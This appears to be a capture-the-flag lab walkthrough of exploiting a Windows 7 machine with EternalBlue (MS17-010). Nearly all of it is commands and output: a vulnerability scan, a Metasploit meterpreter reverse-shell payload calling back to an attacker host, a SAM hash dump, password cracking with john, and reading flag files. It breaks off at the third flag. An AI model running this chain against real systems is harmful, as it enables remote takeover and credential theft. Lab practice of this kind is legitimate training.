nmap -sS -sV --script vuln -O -vvv 10.10.45.73

```
Host script results:
|_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: NT_STATUS_ACCESS_DENIED
| smb-vuln-ms17-010:
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|
|     Disclosure date: 2017-03-14
|     References:
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|_      https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
```

service postgresql start

msfconsole -q

use exploit/windows/smb/ms17_010_eternalblue

set payload windows/x64/meterpreter/reverse_tcp

```
msf5 exploit(windows/smb/ms17_010_eternalblue) > options

Module options (exploit/windows/smb/ms17_010_eternalblue):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   RHOSTS         10.10.64.51      yes       The target host(s), range CIDR identifier, or hosts file with
syntax 'file:<path>'
   RPORT          445              yes       The target port (TCP)
   SMBDomain      .                no        (Optional) The Windows domain to use for authentication
   SMBPass                         no        (Optional) The password for the specified username
   SMBUser                         no        (Optional) The username to authenticate as
   VERIFY_ARCH    true             yes       Check if remote architecture matches exploit Target.
   VERIFY_TARGET  true             yes       Check if remote OS matches exploit Target.

Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     10.2.11.159      yes       The listen address (an interface may be specified)
   LPORT     8443             yes       The listen port
```

run

```
meterpreter > sysinfo
Computer        : JON-PC
OS              : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 0
Meterpreter     : x64/windows
meterpreter >
```

run post/windows/manage/migrate

```
meterpreter > run post/windows/manage/migrate

[*] Running module against JON-PC
[*] Current server process: spoolsv.exe (476)
[*] Spawning notepad.exe process to migrate into
[*] Spoofing PPID 0
[*] Migrating into 3000
[+] Successfully migrated into process 3000
```

ps

```
3000  476   notepad.exe          x64   0       NT AUTHORITY\SYSTEM          C:\Windows\System32\notepad
```

hashdump

```
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d:::
```

john /home/hackudo/hash --wordlist=rockyou.txt --format=NT

```
hackudo@kali:/usr/share/wordlists$ john /home/hackudo/hash --wordlist=rockyou.txt --format=NT
Using default input encoding: UTF-8
Loaded 1 password hash (NT [MD4 128/128 AVX 4x3])
Press 'q' or Ctrl-C to abort, almost any other key for status
alqfna22         (aad3b435b51404eeaad3b435b51404ee)
1g 0:00:00:03 DONE (2020-07-08 20:53) 0.3289g/s 3355Kp/s 3355Kc/s 3355KC/s alqui..alpusidi
Use the "--show --format=NT" options to display all of the cracked passwords reliably
Session completed
```

shell

cd ..

cd ..

dir

```
C:\>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is E611-0B66

 Directory of C:\

03/17/2019  02:27 PM                24 flag1.txt
07/13/2009  10:20 PM    <DIR>          PerfLogs
04/12/2011  03:28 AM    <DIR>          Program Files
03/17/2019  05:28 PM    <DIR>          Program Files (x86)
12/12/2018  10:13 PM    <DIR>          Users
03/17/2019  05:36 PM    <DIR>          Windows
               1 File(s)             24 bytes
               5 Dir(s)  20,397,428,736 bytes free
```

type flag1.txt

```
C:\>type flag1.txt
type flag1.txt
flag{access_the_machine}
```

cd Windows

cd system32

cd config

dir

type flag2.txt

```
C:\Windows\System32\config>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is E611-0B66

 Directory of C:\Windows\System32\config

07/08/2020  05:50 PM    <DIR>          .
07/08/2020  05:50 PM    <DIR>          ..
12/12/2018  06:00 PM            28,672 BCD-Template
07/08/2020  06:00 PM        18,087,936 COMPONENTS
07/08/2020  06:20 PM           262,144 DEFAULT
03/17/2019  02:32 PM                34 flag2.txt
07/13/2009  09:34 PM    <DIR>          Journal
07/08/2020  06:19 PM    <DIR>          RegBack
07/08/2020  06:57 PM           262,144 SAM
07/08/2020  06:00 PM           262,144 SECURITY
07/08/2020  06:56 PM        40,632,320 SOFTWARE
07/08/2020  07:10 PM        12,582,912 SYSTEM
11/20/2010  09:41 PM    <DIR>          systemprofile
12/12/2018  06:03 PM    <DIR>          TxR
               8 File(s)     72,118,306 bytes
               6 Dir(s)  20,397,420,544 bytes free

C:\Windows\System32\config>type flag2.txt
type flag2.txt
flag{sam_database_elevated_access}
C:\Windows\System32\config>
```

cd ..

cd ..

cd ..

cd Users

cd Jon

cd Documents

dir

type flag3.txt